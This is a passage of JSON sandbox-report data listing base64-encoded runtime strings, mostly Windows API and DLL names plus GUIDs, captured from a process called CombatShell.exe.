Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X19yZWdpc3Rlcl9mcmFtZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X1/Dr8K/wr3Dr8K/wr3Dr8K/wr3Dr8K/wr3Dr8K/wr3Dr8K/wr0=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X2JlZ2ludGhyZWFkZXg=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X2VuZHRocmVhZGV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X2xvY2FsdGltZTY0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNjZXB0U2VjdXJpdHlDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNxdWlyZUNyZWRlbnRpYWxzSGFuZGxlQQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNxdWlyZVNSV0xvY2tFeGNsdXNpdmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNxdWlyZVNSV0xvY2tTaGFyZWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVBc1VzZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVJbkJyb2tlckZvck1lZGl1bUlMQ29udGFpbmVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVJblNoYXJlZEJyb2tlcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVPbkhvc3RGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGlvblR5cGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0V2luZG93UmVjdEV4Rm9yRHBp","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YWR2YXBpMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWdncmVzc2l2ZU1UQVRlc3Rpbmc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb2NDb25zb2xl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dEZXZlbG9wbWVudFdpdGhvdXREZXZMaWNlbnNl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dHTFNMRXh0ZW5zaW9uRGlyZWN0aXZlTWlkU2hhZGVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5vbnltb3VzQXBwQ29udGFpbmVySW1wZXJzb25hdGlvbkxldmVsQ2hlY2s=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1hcHBtb2RlbC1ydW50aW1lLWwxLTEtMg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLWZpYmVycy1sMS0xLTE=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLWxvY2FsaXphdGlvbi1sMS0yLTE=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXN5bmNoLWwxLTItMA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXN5bmNoLWwxLTItMC5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXdpbnJ0LWVycm9yLWwxLTEtMC5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXBwbHlDb250cm9sVG9rZW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXBwUG9saWN5R2V0VGhyZWFkSW5pdGlhbGl6YXRpb25UeXBl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXBwc1VzZUxpZ2h0VGhlbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXJlRmlsZUFwaXNBTlNJ","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0ZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0ZsdXNoRmlyc3REZWx0YVNlY29uZHM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0ZsdXNoTmV4dERlbHRhU2Vjb25kcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YjZmZDcxMGItZjc4My00YjFjLWFiOWMtYzY4MDk5ZGNjMGM3","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Yjc0OTU1M2ItZDk1MC01ZTAzLTYyODItMzE0NWE2MWIxMDAy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YmM3MTU3N2YtNzZlOS01ODNhLWVjZDYtNjJkMDI1MGQ5MDBm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YmNyeXB0cHJpbWl0aXZlcy5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YmYzMDQ2NWItZTkzYy00NmZkLTljZGYtZjQxYzg5MDRhMDFm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YzEzNzYzMzgtMDk4NC00OGI4LWI5MzMtOWM3ZDc3OWZkODRk","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YzdlMDllMmEtYzY2My01Mzk5LWFmNzktMmZjY2QzMjFkMTlh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y2E5NjdjNzUtMDRiZi00MGI1LTlhMTYtOThiNWY5MzMyYTky","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FwYWJpbGl0aWVz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEFkZEVuY29kZWRDVExUb1N0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydENsb3NlU3RvcmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydENyZWF0ZUNlcnRpZmljYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydENyZWF0ZUNUTEVudHJ5RnJvbUNlcnRpZmljYXRlQ29udGV4dFByb3BlcnRpZXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydERlbGV0ZUNlcnRpZmljYXRlRnJvbVN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydER1cGxpY2F0ZUNlcnRpZmljYXRlQ2hhaW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydER1cGxpY2F0ZUNlcnRpZmljYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydER1cGxpY2F0ZVN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEZyZWVDZXJ0aWZpY2F0ZUNoYWlu","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEZyZWVDVExDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldENlcnRpZmljYXRlQ2hhaW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldEVuaGFuY2VkS2V5VXNhZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydGlmaWNhdGVz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydE9wZW5TdG9yZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydFZlcmlmeUNlcnRpZmljYXRlQ2hhaW5Qb2xpY3k=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydFZlcmlmeVRpbWVWYWxpZGl0eQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hhaW5DYWNoZVJlc3luY0ZpbGV0aW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hhaW5pbmdNb2Rl","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hhaW5pbmdNb2RlR0NN","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUaHJlYWRwb29sVGltZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUaHJlYWRwb29sV2FpdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUaHJlYWRwb29sV29yaw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZUV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29HZXRDbGFzc09iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tK0VuYWJsZWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tYmF0U2hlbGw=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ0V4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVCdWZmZXJlZFN5bmNocm9ub3VzSW8=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVDaHVua1NpemU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVPdmVybGFwcGVkQ291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRENX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRXZlbnRFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZU1hcHBpbmdX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlTXV0ZXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlU2VtYXBob3JlRXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlU2VtYXBob3JlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFkcG9vbFRpbWVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFkcG9vbFdhaXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFkcG9vbFdvcms=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y3J5cHQzMi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRBY3F1aXJlQ29udGV4dFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRCaW5hcnlUb1N0cmluZ0E=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHREZWNvZGVPYmplY3RFeA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHREZXN0cm95S2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRFbmNvZGVPYmplY3RFeA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRIYXNoQ2VydGlmaWNhdGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRJbXBvcnRLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRNc2dFbmNvZGVBbmRTaWduQ1RM","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRuZXRQcmVGZXRjaFRyaWdnZXJQZXJpb2RTZWNvbmRz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRSZWxlYXNlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRTdHJpbmdUb0JpbmFyeUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRVbnByb3RlY3REYXRh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZDBmMWE1YzYtZmM0My00OGFlLTk5YmYtZWZiMWMzOGJlOWQx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2hlY2tFeGNsdXNpdmVPd25lcnNoaXA=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2hlY2tNb25pdG9yUG93ZXJTdGF0ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2hlY2tPY2NsdXNpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2xvc2VBZGFwdGVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlQWxsb2NhdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlRENGcm9tTWVtb3J5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlRGV2aWNl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlT3ZlcmxheQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlU3luY2hyb25pemF0aW9uT2JqZWN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveUFsbG9jYXRpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveURDRnJvbU1lbW9yeQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveURldmljZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveU92ZXJsYXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveVN5bmNocm9uaXphdGlvbk9iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URXNjYXBl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URmxpcE92ZXJsYXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0Q29udGV4dFNjaGVkdWxpbmdQcmlvcml0eQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0RGV2aWNlU3RhdGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0RGlzcGxheU1vZGVMaXN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0TXVsdGlzYW1wbGVNZXRob2RMaXN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0UHJvY2Vzc1NjaGVkdWxpbmdQcmlvcml0eUNsYXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0U2NhbkxpbmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0U2hhcmVkUHJpbWFyeUhhbmRsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01USW52YWxpZGF0ZUFjdGl2ZVZpZFBu","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UTG9jaw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlbkFkYXB0ZXJGcm9tRGV2aWNlTmFtZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlbkFkYXB0ZXJGcm9tR2RpRGlzcGxheU5hbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlbkFkYXB0ZXJGcm9tSGRj","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlblJlc291cmNl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUG9sbERpc3BsYXlDaGlsZHJlbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUHJlc2VudA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlBZGFwdGVySW5mbw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlBbGxvY2F0aW9uUmVzaWRlbmN5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlSZXNvdXJjZUluZm8=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUmVsZWFzZVByb2Nlc3NWaWRQblNvdXJjZU93bmVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUmVuZGVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0QWxsb2NhdGlvblByaW9yaXR5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0Q29udGV4dFNjaGVkdWxpbmdQcmlvcml0eQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0RGlzcGxheU1vZGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0RGlzcGxheVByaXZhdGVEcml2ZXJGb3JtYXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0R2FtbWFSYW1w","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0UHJvY2Vzc1NjaGVkdWxpbmdQcmlvcml0eUNsYXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0UXVldWVkTGltaXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0VmlkUG5Tb3VyY2VPd25lcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2hhcmVkUHJpbWFyeUxvY2tOb3RpZmljYXRpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2hhcmVkUHJpbWFyeVVuTG9ja05vdGlmaWNhdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2lnbmFsU3luY2hyb25pemF0aW9uT2JqZWN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UVW5sb2Nr","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UVXBkYXRlT3ZlcmxheQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UV2FpdEZvclN5bmNocm9uaXphdGlvbk9iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UV2FpdEZvclZlcnRpY2FsQmxhbmtFdmVudA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVjcnlwdE1lc3NhZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdEFjY2Vzc1Blcm1pc3Npb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlRmlsZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlU2VjdXJpdHlDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlhZ0xldmVs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlhZ01hdGNoQW55TWFzaw==","type":"Ansi","source":"Runtime 